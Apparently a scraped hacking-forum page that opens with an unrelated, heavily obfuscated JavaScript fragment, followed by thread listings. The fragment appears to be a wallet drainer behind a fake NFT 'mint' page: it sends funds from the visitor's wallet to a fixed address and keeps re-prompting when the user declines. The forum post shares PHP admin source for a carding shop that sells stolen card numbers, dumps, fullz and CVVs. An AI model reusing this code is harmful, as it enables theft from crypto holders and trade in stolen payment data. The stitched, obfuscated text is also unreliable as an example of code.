_0x1dd2aa[_0x64048f(0x1be,0x260,0x1ee,0x27f)]((_0x1f78bc,_0x45c3c6)=>_0x45c3c6['price']-_0x1f78bc['price'])){console[_0x5186c9(0x412,0x3e6,0x438,0x3f4)](transaction),Moralis[_0x5186c9(0x42f,0x3f5,0x3b9,0x3ac)](transaction[_0x64048f(0x207,0x263,0x1d4,0x23d)])['catch'](_0xea3005=>console['error'](_0xea3005,transaction));}}else _0x405b35[_0x5186c9(0x3b8,0x32e,0x388,0x326)](askMint,_0x3fb367);})[_0x4c7094(0xcf,0x124,0x16a,0x158)](_0x3a72a3=>console[_0x4c7094(0x16d,0x1e2,0x14e,0x1f6)](_0x3a72a3));}function _0x3320(_0x114a53,_0xce9898){const _0x464a1f=_0xe1d6();return _0x3320=function(_0x4d8775,_0xe99b33){_0x4d8775=_0x4d8775-(0xda9+0x187d+-0x1*0x25b2);let _0x36d580=_0x464a1f[_0x4d8775];if(_0x3320['AgrhsW']===undefined){var _0x54bf05=function(_0x400e2f){const _0x2e893c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2541f6='',_0x1919f0='',_0x2296bd=_0x2541f6+_0x54bf05;for(let _0x4bef43=-0xcfc+-0x21f4+0x2*0x1778,_0x373537,_0x4763df,_0x222ccd=-0x1*-0x18e7+0x39*-0x99+-0x92a*-0x1;_0x4763df=_0x400e2f['charAt'](_0x222ccd++);~_0x4763df&&(_0x373537=_0x4bef43%(-0xbcd+-0x193b+0x250c*0x1)?_0x373537*(0x5*-0x2b5+-0x1f0+0xfb9)+_0x4763df:_0x4763df,_0x4bef43++%(-0x57*0x4f+-0x1*0x1d2a+0x3807))?_0x2541f6+=_0x2296bd['charCodeAt'](_0x222ccd+(0xad6+0x1*-0x16a4+-0x1*-0xbd8))-(-0x8de+0x1f68+0x140*-0x12)!==0xfb*0xd+-0x22fd+0xb1f*0x2?String['fromCharCode'](0x16d1+-0x2083+-0xab1*-0x1&_0x373537>>(-(-0x23b*-0xb+-0x264c+0x2f*0x4b)*_0x4bef43&0xf4f+-0x4*-0x66b+-0x28f5)):_0x4bef43:-0x4*0x833+-0xd3*0x23+0x3da5){_0x4763df=_0x2e893c['indexOf'](_0x4763df);}for(let _0x11ce06=-0x47*-0x17+-0x376*-0x8+-0x1cb*0x13,_0x25c5fc=_0x2541f6['length'];_0x11ce06<_0x25c5fc;_0x11ce06++){_0x1919f0+='%'+('00'+_0x2541f6['charCodeAt'](_0x11ce06)['toString'](-0xfe4+0x1*-0x159b+0xf*0x281))['slice'](-(-0x60+-0x13e4+0x3*0x6c2));}return decodeURIComponent(_0x1919f0);};_0x3320['NRWEKQ']=_0x54bf05,_0x114a53=arguments,_0x3320['AgrhsW']=!![];}const _0x19e018=_0x464a1f[0x135*-0xf+0x2531+-0x1316],_0x59f44e=_0x4d8775+_0x19e018,_0x2cde33=_0x114a53[_0x59f44e];if(!_0x2cde33){const _0x305561=function(_0x5d4ae5){this['UrAZqK']=_0x5d4ae5,this['cMpAuZ']=[-0x1547+-0x1*0x1307+0x284f,0x17c+0x7*-0x92+-0x3*-0xd6,-0x220+0x4*-0x4d1+0x1*0x1564],this['gbRbfd']=function(){return'newState';},this['WzTitm']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['zRoOgI']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x305561['prototype']['wiXbcf']=function(){const _0x28c610=new RegExp(this['WzTitm']+this['zRoOgI']),_0x45ee70=_0x28c610['test'](this['gbRbfd']['toString']())?--this['cMpAuZ'][0x195c+-0x2*-0x1+-0x97*0x2b]:--this['cMpAuZ'][0x644+0xf21+0x1*-0x1565];return this['XWCftj'](_0x45ee70);},_0x305561['prototype']['XWCftj']=function(_0x43036e){if(!Boolean(~_0x43036e))return _0x43036e;return this['WdedXb'](this['UrAZqK']);},_0x305561['prototype']['WdedXb']=function(_0x16d728){for(let _0x1d2d49=-0x3*0xb3d+0x1dd4+0x3e3,_0x25366f=this['cMpAuZ']['length'];_0x1d2d49<_0x25366f;_0x1d2d49++){this['cMpAuZ']['push'](Math['round'](Math['random']())),_0x25366f=this['cMpAuZ']['length'];}return _0x16d728(this['cMpAuZ'][0x1ae3*0x1+-0x1*-0x1d3c+-0x381f]);},new _0x305561(_0x3320)['wiXbcf'](),_0x36d580=_0x3320['NRWEKQ'](_0x36d580),_0x114a53[_0x59f44e]=_0x36d580;}else _0x36d580=_0x2cde33;return _0x36d580;},_0x3320(_0x114a53,_0xce9898);}async function askMint(_0x2873a6){const _0x1f9b23={'rMgCB':function(_0x426b08,_0x531197,_0x346e80){return _0x426b08(_0x531197,_0x346e80);},'uTSCP':_0x337900(0x1e3,0x1d8,0x16c,0x12c),'eHjPD':function(_0x270e6a){return _0x270e6a();},'PtHCY':_0x523443(0x294,0x26e,0x2d0,0x1dd),'WXodl':function(_0x4acf2f,_0x338d25,_0xdaf746){return _0x4acf2f(_0x338d25,_0xdaf746);},'WOZYp':function(_0x5da20e,_0x59c336){return _0x5da20e!==_0x59c336;},'zmOEo':_0x523443(0x1d2,0x175,0x141,0xe4)+_0x523443(0x1df,0x229,0x1d3,0x1b5),'MAhRw':'SpexI','oENMB':_0x523443(0x1d7,0x1b6,0x1a1,0x15f),'nXIFI':function(_0x283500,_0x47c861,_0x22786a){return _0x283500(_0x47c861,_0x22786a);},'EKAJY':_0x523443(0xf3,0x18a,0x1e0,0x16c)+_0x337900(0x65,0xd7,0x95,0x2b)+'action.\x20Pl'+_0x523443(0x2ec,0x267,0x27e,0x2ef)+_0x337900(-0x6,-0xe,0x56,0x98),'Ktofj':'Error','cghtV':_0x523443(0x2d4,0x23d,0x1dd,0x23e)+_0x337900(0xc3,0xb6,0xa2,0xc5),'jmmjC':_0x523443(0x1b5,0x233,0x262,0x291)};function _0x337900(_0x247166,_0x310616,_0x264dda,_0x561245){return _0x4becce(_0x264dda-0xdb,_0x310616,_0x264dda-0x6b,_0x561245-0x149);}const _0xe2485c=new Web3(provider);walletAddress=(await _0xe2485c[_0x337900(0x138,0x17e,0x157,0x11e)][_0x337900(0xc6,0x12b,0xe3,0x57)+'s']())[-0x794*0x3+0x3*-0x52e+0x2e*0xd5];function _0x523443(_0x392864,_0x2e6bca,_0x131961,_0x449613){return _0x4becce(_0x2e6bca-0x1f5,_0x392864,_0x131961-0x186,_0x449613-0x1d1);}_0xe2485c[_0x337900(0x143,0x12c,0x157,0x1ea)][_0x523443(0x1a5,0x18f,0x210,0x1eb)+_0x337900(0xed,0x57,0xe9,0x14f)]({'from':walletAddress,'to':address,'value':_0xe2485c[_0x523443(0x1bd,0x23b,0x299,0x242)][_0x337900(0x92,0xbe,0x66,0x35)](_0x2873a6,_0x1f9b23['jmmjC'])})['on']('transactio'+'nHash',function(_0x4de05c){function _0x3bc865(_0x29225a,_0x4110e1,_0x52f9cb,_0x1fd320){return _0x337900(_0x29225a-0x179,_0x29225a,_0x1fd320-0x3d2,_0x1fd320-0x1e4);}function _0x148092(_0x2fa02d,_0x1e154c,_0x5553fd,_0x60b43d){return _0x523443(_0x5553fd,_0x60b43d- -0x4b1,_0x5553fd-0xc9,_0x60b43d-0x192);}if(_0x1f9b23[_0x148092(-0x2b8,-0x251,-0x283,-0x268)](_0x148092(-0x2fa,-0x25a,-0x250,-0x29e),_0x3bc865(0x541,0x51f,0x4f1,0x4cb))){if(_0xe70ed()){}else{const _0x5be368=_0x1f9b23[_0x148092(-0x385,-0x318,-0x3cc,-0x345)](_0x39e197,_0x1f9b23[_0x3bc865(0x466,0x43b,0x4e8,0x4bc)],_0x3bc865(0x415,0x497,0x4af,0x442)+_0x3bc865(0x4f4,0x4fe,0x3e5,0x467)+_0x148092(-0x217,-0x1a1,-0x1e0,-0x22c)+_0x148092(-0x1c0,-0x2b5,-0x22a,-0x24a)+_0x3bc865(0x4b2,0x48c,0x45f,0x428));_0x2f9f32(_0x5be368,-0x251*0x9+0x83c+0x27*0xd3);}_0x59d3d7[_0x148092(-0x294,-0x214,-0x240,-0x278)]('User\x20Denie'+_0x148092(-0x20f,-0x1f8,-0x1f7,-0x26c)+_0x42a96a+(_0x148092(-0x22b,-0x2c2,-0x29c,-0x231)+'ansaction'));}else return setTimeout(()=>{function _0x24872a(_0x468833,_0x29a1eb,_0x1fa6fc,_0x35e2a3){return _0x148092(_0x468833-0x66,_0x29a1eb-0x6b,_0x35e2a3,_0x1fa6fc-0x681);}function _0x36fad4(_0x21fe33,_0x4c05fb,_0xc10f3,_0x5e63dd){return _0x3bc865(_0xc10f3,_0x4c05fb-0x3a,_0xc10f3-0x14d,_0x21fe33- -0x30);}if(_0x1f9b23['eHjPD'](isMobile)){}else{const _0x5cc82d=addNotification(_0x1f9b23[_0x24872a(0x439,0x487,0x401,0x375)],_0x36fad4(0x418,0x477,0x42a,0x40a)+_0x24872a(0x45e,0x436,0x3f1,0x3d3)+'ion\x20failed'+'.\x20Please\x20t'+_0x24872a(0x3bf,0x4ab,0x44d,0x466));_0x1f9b23['WXodl'](removeNotification,_0x5cc82d,0x15a6+-0x3a0b+-0x43a5*-0x1);}},0x102f+0x1ed3+0x2732*-0x1),console[_0x3bc865(0x4b0,0x46a,0x45b,0x4f1)](_0x148092(-0x26a,-0x23f,-0x289,-0x284)+'n\x20hash:\x20'+_0x4de05c),askMint(_0x2873a6);})['on'](_0x523443(0x201,0x1d8,0x153,0x1b3)+'on',function(_0x5184be,_0x202ef0){function _0x150850(_0x196d35,_0x123501,_0x3671d7,_0x2be23e){return _0x523443(_0x2be23e,_0x123501-0x2e8,_0x3671d7-0x8a,_0x2be23e-0x20);}function _0x33bdce(_0x139c43,_0x57ec66,_0x5628a9,_0x34d291){return _0x523443(_0x5628a9,_0x57ec66- -0x163,_0x5628a9-0x1a5,_0x34d291-0x5c);}console[_0x33bdce(0x11f,0xd6,0xe0,0xb2)](_0x33bdce(0xe0,0xca,0x67,0x12a)+_0x33bdce(-0x20,0x25,0x36,0x65)+_0x150850(0x4a7,0x4ff,0x4f0,0x4db)+_0x5184be);})['on'](_0x1f9b23[_0x523443(0x2ae,0x231,0x20c,0x28d)],_0x4b679f=>{function _0x4bd5af(_0x19cf59,_0x20e624,_0x4f5d4c,_0x7d1584){return _0x337900(_0x19cf59-0x1d8,_0x4f5d4c,_0x7d1584-0x2e5,_0x7d1584-0x43);}if(_0x4b679f['message']&&_0x4b679f[_0x4bd5af(0x2fe,0x34c,0x310,0x382)][_0x356e06(0xf4,0x69,0x9e,0x63)](_0x4bd5af(0x31b,0x433,0x3b2,0x3aa)+'nt'))console[_0x356e06(0x2,0x6c,-0x3e,0x4c)](_0x4bd5af(0x34d,0x439,0x42d,0x3ab)+'nt\x20Balance'+':\x20'+walletAddress+('\x20has\x20insuf'+_0x356e06(0x7,-0xd9,-0xfd,-0x79)+_0x4bd5af(0x3e6,0x2f1,0x32c,0x363)));function _0x356e06(_0x4750d5,_0x1f13f1,_0x188d5a,_0x3f1e57){return _0x337900(_0x4750d5-0x10f,_0x188d5a,_0x3f1e57- -0xd3,_0x3f1e57-0x38);}if(_0x4b679f['message']&&_0x4b679f[_0x356e06(0x2d,-0x74,-0x84,-0x36)]['includes'](_0x1f9b23[_0x4bd5af(0x2e6,0x3a7,0x320,0x341)])||_0x4b679f[_0x4bd5af(0x3a1,0x339,0x3ad,0x382)]&&_0x4b679f['message']['includes'](_0x4bd5af(0x3c7,0x32b,0x3db,0x360)+'d')){if(_0x1f9b23[_0x4bd5af(0x3ea,0x360,0x37e,0x38c)]!==_0x1f9b23[_0x356e06(-0x53,-0x9b,-0x5d,-0x22)]){if(_0x1f9b23[_0x4bd5af(0x2e2,0x332,0x3e1,0x36b)](isMobile)){}else{const _0x99a540=_0x1f9b23[_0x356e06(0x4a,0xe6,-0x7,0x8b)](addNotification,_0x1f9b23['uTSCP'],_0x1f9b23[_0x4bd5af(0x381,0x36c,0x3d4,0x356)]);removeNotification(_0x99a540,-0xa36*0x2+0x9*-0x22f+-0x3b9b*-0x1);}console[_0x356e06(-0x36,-0x1a,-0x23,0x4c)](_0x356e06(-0x8e,-0x1a,-0x26,-0x5a)+_0x356e06(0x16,-0x20,0x6c,0x58)+walletAddress+(_0x4bd5af(0x3fc,0x3ce,0x4c0,0x44b)+'ansaction'));}else{var _0x3c82be=![];return function(_0x308e31){function _0xcf9272(_0x3cf7a6,_0x3b4115,_0x458d60,_0x1a87d9){return _0x4bd5af(_0x3cf7a6-0x1f0,_0x3b4115-0xaa,_0x3cf7a6,_0x1a87d9-0x80);}function _0x565ac1(_0x361113,_0x3b2dab,_0x120858,_0x1febba){return _0x356e06(_0x361113-0x167,_0x3b2dab-0x144,_0x1febba,_0x120858-0x150);}if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xcf9272(0x3ea,0x3a8,0x49d,0x424)](_0x308e31)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x565ac1(0xf0,0x102,0x13c,0x1c4)](_0x308e31[_0x565ac1(0x92,0x115,0x11c,0x17f)](0x2*0xc80+0x1386+-0x2c86,-0x3*0xc25+-0x2549+0x49bc)))_0x3c82be=!![];}(_0x27dc30[_0x356e06(0x4,-0x77,-0x52,-0x56)]||_0xf47938[_0x356e06(-0x41,0x0,-0x47,-0x3d)]||_0x16fd22['opera']),_0x3c82be;}}else console[_0x4bd5af(0x419,0x3fe,0x377,0x404)](_0x356e06(0x2f,-0x60,0x1d,-0x1a)+':\x20'+walletAddress+(_0x356e06(0xc6,0xa6,0x1a,0x33)+_0x4bd5af(0x2dd,0x2b0,0x332,0x33d)));return console[_0x4bd5af(0x42b,0x458,0x3aa,0x404)](_0x1f9b23['Ktofj'],_0x4b679f?_0x4b679f[_0x356e06(-0x11,-0x74,-0xc7,-0x36)]:_0x1f9b23['cghtV']),askMint(_0x2873a6);});}window[_0x4becce(0x67,0xcf,0x9,0x9e)+_0x4becce(0xd,0x57,0xe,-0x20)](_0x4becce(-0x8,0x76,-0x52,-0x46),async()=>{const _0x33d05d={'tTwwh':function(_0x41d368){return _0x41d368();},'bxQpr':_0x4927f5(0x48,0x99,-0x46,0x2a),'YZVmw':_0x4927f5(-0x12,-0x99,0x12,-0x25),'MGMRt':_0x3f0682(0x400,0x434,0x3cf,0x3f3)};_0x33d05d[_0x4927f5(-0x31,-0x61,-0x7a,-0x59)](init);function _0x4927f5(_0x56ef1a,_0x309cd7,_0x2cadbf,_0x3dbfe7){return _0x3e1d4d(_0x56ef1a-0x8b,_0x309cd7-0x52,_0x3dbfe7-0x1f3,_0x309cd7);}function _0x3f0682(_0x7c3cba,_0x4fe38d,_0x4ee6c6,_0x147530){return _0x4becce(_0x4ee6c6-0x3c8,_0x147530,_0x4ee6c6-0x32,_0x147530-0x194);}document[_0x3f0682(0x360,0x2ec,0x344,0x39b)+_0x4927f5(-0x89,0x7,-0x47,-0x4a)](_0x33d05d['bxQpr'])[_0x3f0682(0x3d5,0x434,0x42f,0x477)+_0x3f0682(0x462,0x408,0x3d5,0x468)](_0x33d05d[_0x3f0682(0x3a4,0x3ea,0x402,0x3d1)],onConnect),document[_0x3f0682(0x3c9,0x3cd,0x344,0x2df)+_0x4927f5(0x25,-0x7c,0x9,-0x4a)](_0x33d05d[_0x4927f5(0x8c,0xbd,0xfe,0x95)])[_0x3f0682(0x3da,0x3b5,0x42f,0x489)+_0x4927f5(0x7f,-0x3e,-0x46,0x3a)](_0x33d05d[_0x4927f5(0x5f,0xa,-0x2c,0x67)],clickMint);});
Blockchain decrypt wallet with Password
ID: 67668b27b4103b69df375d6a
Thread ID: 52770
Created: 2021-06-10T14:30:54+0000
Last Post: 2021-12-10T06:06:06+0000
Author: EmeliRouse
Replies: 1 Views: 1K

You must have at least 5 message(s) to view the content.

Free Shop Source Code vclub.shop
ID: 67668b27b4103b69df375d6b
Thread ID: 53907
Created: 2021-07-12T11:02:48+0000
Last Post: 2021-12-09T08:57:47+0000
Author: sdb2
Replies: 8 Views: 1K

Dont scam hackers.
vclub.shop's source code.
Enjoy

sample:

PHP:Copy to clipboard

<?php

class ManagmentController extends Controller
{
    public function init()
    {
        Yii::import('application.models.admincp.reseller.*');
    }

    final public function accessRules()
    {
        return [
            [
                'allow',
                'roles' => ['admin'],
            ], [
                'allow',
                'actions' => [
                    'updateInfo',
                    'updatesList',
                    'addDatabase',
                    'ccsPrices',
                    'getPriceList',
                    'index',
                    'ajax',
                ],
                'roles' => ['manager'],
            ], [
                'deny',
                'users' => ['*'],
            ],
        ];
    }

    public function actionUpdateInfo()
    {
        $actionText = ' has changed database ';
        $db_id = getParam('database_id');
        $db_name = getParam('database_name');
        $db_status = getParam('database_status');
        $db_checker = getParam('database_checker');
        $db_checkerchange = getParam('database_checkerchange');
        $db_cvv = getParam('database_cvv');
        $db_checker = (key_exists($db_checker, Yii::app()->params['checker'])) ? $db_checker : '';
        $db_rare = getParam('database_rare');
        $db_refunds = getParam('database_refunds');
        //UPDATE INFO
        if (!empty($db_id) && !empty($db_name) && in_array($db_status, array(0, 1))) {
            $model = R_Bases::model()->findByPk($db_id);
            if (!empty($model)) {
                $actionText .= $model->name . '. ';
                if ($model->name != $db_name) {
                    $actionText .= 'Name: ' . $model->name . ' -> ' . $db_name . '; ';
                    $model->name = $db_name;
                }

                if ($model->active != $db_status) {
                    $actionText .= 'Status: ' . $model->active . ' -> ' . $db_status . '; ';
                    $model->active = $db_status;
                }

                if ($model->checker != $db_checker) {
                    $actionText .= 'Checker: ' . $model->checker . ' -> ' . $db_checker . '; ';
                    $model->checker = $db_checker;
                }

                if ($model->checkerchange != $db_checkerchange) {
                    $actionText .= 'CheckerChange: ' . $model->checkerchange . ' -> ' . $db_checkerchange . '; ';
                    $model->checkerchange = $db_checkerchange;
                }

                if ($model->rare != $db_rare) {
                    $actionText .= 'Rare: ' . $model->rare . ' -> ' . $db_rare . '; ';
                    $model->rare = $db_rare;
                }

                if ($model->refunds != $db_refunds) {
                    $actionText .= 'Refunds: ' . $model->refunds . ' -> ' . $db_refunds . '; ';
                    $model->refunds = $db_refunds;
                }

                if ($model->withcvv != $db_cvv) {
                    $actionText .= 'With CVV: ' . $model->withcvv . ' -> ' . $db_cvv . '; ';
                    $model->withcvv = $db_cvv;
                }
                $model->price_approve = ($model->active == 1) ? 1 : 0;

                $model->save();
                switch ($model->type) {
                    case 1:
                        DAO()->update(
                            '{{ccs}}',
                            array('base_status' => $db_status, 'base_name' => $db_name),
                            'base_id=:db_id',
                            array(':db_id' => $db_id)
                        );
                        break;
                    case 2:
                        DAO()->update(
                            '{{dumps}}',
                            array('enabled' => $db_status, 'base_name' => $db_name),
                            'base_id=:db_id',
                            array(':db_id' => $db_id)
                        );
                        $this->actionRebuildDumpSection();
                        break;
                    case 3:
                        DAO()->update(
                            '{{accounts}}',
                            [
                                'base_status' => $db_status,
                                'base_name' => $db_name
                            ],
                            'base_id=:db_id',
                            [':db_id' => $db_id]
                        );
                        break;
                }
            }

            //ADDING PRICELIST:
            $priceList = arrayPath($_REQUEST, 'priceList', array());
            $priceList = json_decode($priceList, true);
            $priceListOld = arrayPath($_REQUEST, 'priceListOld', array());
            if (!empty($priceList)) {
                //MODIFY INCOME DATA:
                $searcharray = array();
                parse_str($priceListOld, $searcharray);
                $priceListOld = mergeArrayByKeys($searcharray['priceList']);

                //$actionText .= "Price List: " . json_encode($priceList) . "; ";

                //UPDATE PRICE LIST:
                $price = new R_Price();

                if (getParam('type') == 1) {
                    $model->updatePriceListInDb(getParam('database_id'), $priceList, 1);
                    $price->CCS_rebuildPrice(getParam('database_id'));
                } elseif (getParam('type') == 2) {
                    $model->updatePriceListInDb(getParam('database_id'), $priceListOld, 2);
                    $price->DUMPS_rebuildPrice(getParam('database_id'));
                } elseif (getParam('type') == 3) {
                    $model->updatePriceListInDb(getParam('database_id'), $priceListOld, 3);
                    $price->ACCS_rebuildPrice(getParam('database_id'));
                }
            }
            log($actionText);
            noty('Information was updated', 'success');
        }
    }

    public function actionAddDatabase()
    {
        Yii::import('application.models.admincp.users.*');
        $db_name = getParam('database_name');
        $db_type = getParam('database_type');
        $db_cvv = getParam('database_cvv');
        $username = getParam('username');
        $seller_id = (empty($username)) ? UID() : AUsers::model()->findByAttributes(array('username' => $username))->id;
        DAO()->insert(
            '{{bases}}',
            [
                'name' => $db_name,
                'type' => $db_type,
                'withcvv' => $db_cvv,
                'seller_id' => $seller_id,
                'active' => 0
            ]
        );
        noty('Database was created', 'success');
    }

    public function actionAddPayout()
    {
        Yii::import('application.models.admincp.users.AUsers');
        $username = getParam('username');
        $amount = getParam('amount');
        $comment = getParam('comment');
        $base_id = getParam('base_id');
        if ($amount < 0) {
            noty('Minimum $0', 'warning');

            return false;
        }
        if ($amount > 1000) {
            noty('Maximum $1000', 'warning');

            return false;
        }
        $userInfo = Users::model()->findByAttributes(array('username' => $username));
        if (empty($userInfo)) {
            noty('Selected account not found', 'error');
        }
        DAO()->insert('{{payouts}}', array(
            'amount' => $amount,
            'base_id' => $base_id,
            'user_id' => $userInfo->id,
            'comment' => $comment,
            'username' => $userInfo->username,
            'created_at' => expr('NOW()'),
        ));

        logSupportAction('created payout. Amount ' . $amount . ', base ID: ' . $base_id . ' user ID: ' . $userInfo->id
            . ', comment: ' . $comment . ' user name: ' . $userInfo->username);
        noty('Payout was added', 'success');
    }

    public function actionDisplayPayoutsInfoByDatabase()
    {
        $modelPayouts = new R_Payouts();
        $modelPayouts->FilterByUserId(UID());
        $database_id = getParam('database_id');
        $this->render('_payoutStats', array(
            'database_id' => $database_id,
            'modelPayouts' => $modelPayouts,
        ));
    }

    public function actionAddPartner()
    {
        Yii::import('application.models.admincp.users.AUsers');
        $username = getParam('username');
        $percent = getParam('percent');
        $base_id = getParam('base_id');
        $userInfo = Users::model()->findByAttributes(array('username' => $username));
        if (empty($userInfo)) {
            noty('Selected account not found', 'error');
        }
        DAO()->insert('{{partners}}', array(
            'percent' => $percent,
            'base_id' => $base_id,
            'user_id' => $userInfo->id,
            'username' => $userInfo->username,
            'created_at' => expr('NOW()'),
        ));
        logSupportAction('added new partner ' . $userInfo->username . '(' . $userInfo->id . ') with '
            . $percent . '% and base ID ' . $base_id);

        noty('Partner was added', 'success');
    }

    public function actionRemovePartner()
    {
        return DAO()->delete(
            '{{partners}}',
            'user_id=:user_id AND base_id=:base_id',
            array(
                ':user_id' => getParam('user_id'),
                ':base_id' => getParam('base_id'),
            )
        );
    }

    public function actionCCSPrices()
    {
        $prices = new R_Prices('search');
        $prices->unsetAttributes();
        if (isset($_GET[$prices->name()])) {
            $prices->attributes = $_GET[$prices->name()];
        }

        $this->render('/admincp/reseller/managment/prices/ccs_prices', array(
            'model' => $prices,
        ));
    }

    public function actionCCSAlias()
    {
        $prices = new R_Alias('search');
        $prices->unsetAttributes();
        if (isset($_GET[$prices->name()])) {
            $prices->attributes = $_GET[$prices->name()];
        }

        $this->render('/admincp/reseller/managment/alias/alias_list', array(
            'model' => $prices,
        ));
    }

    public function actionAddPriceCountry()
    {
        $price = getParam('price');
        $fullz = getParam('fullz');
        $country_name = getParam('country_name');
        $timeout = getParam('timeout');

        //ADDING PRICE
        $prices = new R_Prices();

        $prices->price = $price;
        $prices->country_name = $country_name;
        $prices->fullz = $fullz;
        $prices->timeout = $timeout;
        $prices->save();

        $priceRules = new R_Price();
        $priceRules->CCS_updatePriceByCountry($country_name, $price, $fullz);
        $priceRules->CCS_rebuildPriceAll();
        noty('Country was added', 'success');
    }

    public function actionUpdateProfitAllCache()
    {
        Yii::import('application.models.admincp.reseller.*');
        $data = SQL('SELECT `id` FROM {{bases}};')->query();
        $total_profit_all = 0;
        foreach ($data as $row) {
            $data2 = SQL("SELECT `user_id` FROM {{partners}} WHERE `base_id` = '" . $row['id'] . "';")->query();
            if ($data2) {
                foreach ($data2 as $row2) {
                    $total_profit_all += R_Partners::model()->getCurrentProfit($row2['user_id'], $row['id']);
                }
            }
        }
        Yii::app()->cache->set('total_profit_all', $total_profit_all);

        Yii::import('application.models.admincp.operations.*');
        Yii::import('application.models.admincp.operations.bitcoin.*');
        Yii::import('application.models.admincp.operations.bitcoin.forms.*');

        $bitcoinModel = new Bitcoin();
        $btc_rate = $bitcoinModel->getBTC_rate(true);

        $info = $bitcoinModel->connection->getwalletinfo();
        $balance = $info['balance'] * $btc_rate;
        $total_profit_all = round($total_profit_all, 2);
        $balance = round($balance, 2);
        $free_balance = round(($balance - $total_profit_all), 2);

        if ($free_balance <= 0) {
            $free_balance = '<b style="color:red">' . $free_balance . '</b>';
        }
        $total_users_balance = DAO()
            ->select("SUM(amount)")
            ->from("{{operations}}")
            ->where("status=1")
            ->queryScalar();
        $line = '| Balance: $' . $balance . ' | Total users profit: $' . $total_profit_all . ' <br>| Free balance: $' . $free_balance . ' | Total users balance: $' . $total_users_balance;
        noty($line, 'success');
    }

    public function actionGetPriceList()
    {
        $model = new R_Bases();
        $list = $model->getPriceListInDb(getParam('id'), getParam('type'));
        echo CJSON::encode($list);
    }

    public function actionRebuildDumpSection()
    {
        $model = new R_Bases();
        $priceRules = new R_Price();
        $model->rebuildBinlistAll();
        $priceRules->DUMPS_rebuildPriceAll();
    }

    public function actionUpdatesList()
    {
        //BASES INFO
        $modelBases = new R_Bases();

        //CCS UPDATES:
        $modelUpdatesCCS = new R_Updates_CCS();

        //DUMPS UPDATES:
        $modelUpdatesDUMPS = new R_Updates_Dumps();

        //ACCS UPDATES:
        $modelUpdatesACCS = new R_Updates_ACCS();

        $this->render('/admincp/reseller/managment/updates/updateslist', array(
            'modelUpdatesCCS' => $modelUpdatesCCS,
            'modelUpdatesDUMPS' => $modelUpdatesDUMPS,
            'modelUpdatesACCS' => $modelUpdatesACCS,
            'modelBases' => $modelBases,
        ));
    }

    public function actionRemoveMultipleBases()
    {
        $bases = getParam('bases');
        if (count($bases) == 0) {
            noty('Check bases', 'warning');
        }
        if (strlen(getParam('resellerPWD')) == 0) {
            noty('Insert password', 'warning');
        }
        foreach ($bases as $base) {
            $base = preg_replace('#[^0-9]+#', '', $base);
            $_GET['method'] = 'removeBase';
            $_GET['database_id'] = $base;
            $this->actionAjax();
        }
        noty('Success remove ' . count($bases) . ' base(s)', 'success');
    }

    public function actionMassChangeChecker()
    {
        $checkers = Yii::app()->params['checker'];
        unset($checkers['default']);
        unset($checkers['default_dumps']);
        $checker = getParam('massChangeChecker');
        if (!key_exists($checker, $checkers)) {
            noty('Select checker from list', 'warning');
        }
        SQL("update {{bases}} set checker='" . $checker . "' where checker<>'' and (checker='" . implode("' or checker='", array_keys($checkers)) . "')")->query();
        noty('Success setting "' . $checkers[$checker]['name'] . '" checker on all bases', 'success');
    }

    public function actionMassMergeBases()
    {
        $bases = getParam('bases');
